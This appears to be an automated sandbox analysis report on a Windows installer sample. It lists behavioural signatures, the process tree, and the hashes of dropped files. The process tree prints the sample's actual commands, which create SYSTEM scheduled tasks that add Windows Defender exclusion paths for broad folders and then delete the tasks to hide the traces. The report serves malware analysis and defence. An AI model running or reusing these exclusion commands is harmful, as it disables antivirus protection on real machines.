Analysis

  • max time kernel
    145s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    05/08/2026, 01:38

General

  • Target
    inst_smt008.exe
  • Size 55.2MB
  • Sample260805-b2ff2sbf96
  • SHA256 d052ed7eaba72b299b77fb2609082467c4b1999df297e88a8ee6648fb4350a9b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe
    "C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2148
  • C:\Users\Public\JeBGWJ\kHhGPa.exe
    C:\Users\Public\JeBGWJ\kHhGPa.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2980
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\JeBGWJ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1052
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\JeBGWJ\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:60
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1652
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2036
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1004
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4948
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:748
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3428
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:556
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4020
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1296
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2580
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:3436
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2392
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1472
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2092
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3824
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1292
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:764
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4160
                        • C:\Program Files (x86)\HNtbaA\HNtbaA.exe
                          "C:\Program Files (x86)\HNtbaA\HNtbaA.exe"
                          2⤵
                            PID:412
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\JeBGWJ" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1244
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\JeBGWJ" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:980
                        • C:\Users\Public\JeBGWJ\kHhGPa.exe
                          "C:\Users\Public\JeBGWJ\kHhGPa.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4320
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:5044
                          • C:\Windows\system32\cmd.exe
                            cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4388
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5000
                          • C:\Windows\system32\cmd.exe
                            cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1404
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:216
                          • C:\Windows\system32\cmd.exe
                            cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:984
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2556
                          • C:\Windows\system32\cmd.exe
                            cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1488
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4664
                          • C:\Program Files (x86)\HNtbaA\HNtbaA.exe
                            "C:\Program Files (x86)\HNtbaA\HNtbaA.exe"
                            1⤵
                              PID:4248
                            • C:\Program Files (x86)\ivAN5W6o\IWGt2.exe
                              "C:\Program Files (x86)\ivAN5W6o\IWGt2.exe"
                              1⤵
                                PID:1416

                              Network

                                    MITRE ATT&CK Enterprise v16

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                                    Downloads

                                    HNtbaA.exe

                                    • Path C:\Program Files (x86)\HNtbaA\HNtbaA.exe
                                    • Size 145KB
                                    • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    XPSPLOG.dll

                                    • Path C:\Program Files (x86)\HNtbaA\XPSPLOG.dll
                                    • Size 4.6MB
                                    • SHA256 f022586d0c88cd3486717733ade2c70ba49ca3d018f0a1f138c1881a7c6e7c31
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    image.png

                                    • Path C:\Program Files (x86)\HNtbaA\image.png
                                    • Size 5.0MB
                                    • SHA256 c931768861b61e60f88423acb9f853ed52e8672c7236acd896932ebe894f4f8a
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    thumbs.db

                                    • Path C:\Program Files (x86)\HNtbaA\thumbs.db
                                    • Size 358KB
                                    • SHA256 65a407e7a0734fd62f5d41cc6ddf34690fcf92faa856edfbf85717f29a67b692
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    XPSPLOG.dll

                                    • Path C:\Program Files (x86)\ivAN5W6o\XPSPLOG.dll
                                    • Size 4.4MB
                                    • SHA256 1838896ff5f123a8d9002e157e3a1f55f197cdcbd3b1c451db0f6664e32436da
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    XPSPLOG.dll

                                    • Path C:\Program Files (x86)\ivAN5W6o\XPSPLOG.dll
                                    • Size 3.6MB
                                    • SHA256 d9d1249282d558fe10314dd4e2b9d2c1ab81c6c4e69b66a41bb6cc3e83b1c94b
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    1BA79029EC3FFD076F5DAC2F70A18685

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                                    • Size 1KB
                                    • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                                    • MD5 SHA1 SHA512 TLSH

                                    1BA79029EC3FFD076F5DAC2F70A18685

                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                                    • Size 186B
                                    • SHA256 9c746e31dc3c9330245712aec3d47a0c6ce91947ed1e43fcb83fc2dd43d5e1b6
                                    • MD5 SHA1 SHA512 TLSH

                                    UxEnhance64.dll

                                    • Path C:\Users\Public\JeBGWJ\UxEnhance64.dll
                                    • Size 3.1MB
                                    • SHA256 ce1855ea4a66730d847fa2b95974218798594bca65f348a0e5764090eec5ae48
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    adoresd.dat

                                    • Path C:\Users\Public\JeBGWJ\adoresd.dat
                                    • Size 4.7MB
                                    • SHA256 fad65590311bbfa53ade46573e17b187a9093d692bba85f7c5b20f2a95f73581
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    kHhGPa.exe

                                    • Path C:\Users\Public\JeBGWJ\kHhGPa.exe
                                    • Size 135KB
                                    • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    msadox.tb

                                    • Path C:\Users\Public\JeBGWJ\msadox.tb
                                    • Size 8KB
                                    • SHA256 e055a62f07e95f95e3cb5e146431b226d69c6d2deb66d5b348a24510f033c4d9
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    destopbak.ini

                                    • Path C:\Users\Public\Music\destopbak.ini
                                    • Size 2B
                                    • SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
                                    • MD5 SHA1 SHA512

                                    memory/412-697-0x0000000003220000-0x0000000003A27000-memory.dmp

                                    memory/412-666-0x00000000007D0000-0x00000000007D1000-memory.dmp

                                    memory/412-685-0x0000000000AD0000-0x0000000000AE4000-memory.dmp

                                    memory/412-667-0x0000000074D00000-0x000000007544A000-memory.dmp

                                    memory/412-678-0x0000000003220000-0x0000000003A27000-memory.dmp

                                    memory/412-674-0x0000000003220000-0x0000000003A27000-memory.dmp

                                    memory/412-673-0x00000000007F0000-0x00000000007F1000-memory.dmp

                                    memory/412-671-0x0000000003220000-0x0000000003A27000-memory.dmp

                                    memory/2148-1-0x0000000000440000-0x000000000044B000-memory.dmp

                                    memory/2148-525-0x00007FFE0BBC0000-0x00007FFE0BBD0000-memory.dmp

                                    memory/2148-524-0x00000000001E0000-0x00000000001ED000-memory.dmp

                                    memory/2148-503-0x00007FFE0BBC0000-0x00007FFE0BBD0000-memory.dmp

                                    memory/2148-0-0x00000000001E0000-0x00000000001ED000-memory.dmp

                                    memory/2980-558-0x000001E6D1660000-0x000001E6D16EA000-memory.dmp

                                    memory/2980-545-0x000001E6D0A80000-0x000001E6D1311000-memory.dmp

                                    memory/2980-536-0x000001E6D0A80000-0x000001E6D1311000-memory.dmp

                                    memory/2980-539-0x000001E6D0A80000-0x000001E6D1311000-memory.dmp

                                    memory/2980-538-0x00007FFE1B0A0000-0x00007FFE1B0A2000-memory.dmp

                                    memory/2980-544-0x000001E6D0A80000-0x000001E6D1311000-memory.dmp

                                    memory/2980-543-0x000001E6D0A80000-0x000001E6D1311000-memory.dmp

                                    memory/2980-546-0x000001E6D0A80000-0x000001E6D1311000-memory.dmp

                                    memory/2980-530-0x00007FFE1B090000-0x00007FFE1B092000-memory.dmp

                                    memory/2980-550-0x000001E6D0A80000-0x000001E6D1311000-memory.dmp

                                    memory/2980-531-0x00007FFDFCDD0000-0x00007FFDFD2EE000-memory.dmp

                                    memory/2980-565-0x000001E6D0A80000-0x000001E6D1311000-memory.dmp

                                    memory/2980-564-0x000001E6D0A80000-0x000001E6D1311000-memory.dmp

                                    memory/2980-555-0x000001E6CFFB0000-0x000001E6CFFFE000-memory.dmp

                                    memory/2980-556-0x000001E6D1660000-0x000001E6D16EA000-memory.dmp

                                    memory/2980-557-0x000001E6D1660000-0x000001E6D16EA000-memory.dmp

                                    memory/2980-559-0x000001E6D1660000-0x000001E6D16EA000-memory.dmp

                                    memory/4320-587-0x0000018BF0D30000-0x0000018BF15C1000-memory.dmp

                                    memory/4320-586-0x00007FFE1B0A0000-0x00007FFE1B0A2000-memory.dmp

                                    memory/4320-592-0x0000018BF0D30000-0x0000018BF15C1000-memory.dmp

                                    memory/4320-593-0x0000018BF0D30000-0x0000018BF15C1000-memory.dmp

                                    memory/4320-594-0x0000018BF0D30000-0x0000018BF15C1000-memory.dmp

                                    memory/4320-595-0x00007FFE1B090000-0x00007FFE1B092000-memory.dmp

                                    memory/4320-591-0x0000018BF0D30000-0x0000018BF15C1000-memory.dmp

                                    memory/4320-582-0x0000018BF0D30000-0x0000018BF15C1000-memory.dmp

                                    memory/4320-579-0x00007FFDFCDD0000-0x00007FFDFD2EE000-memory.dmp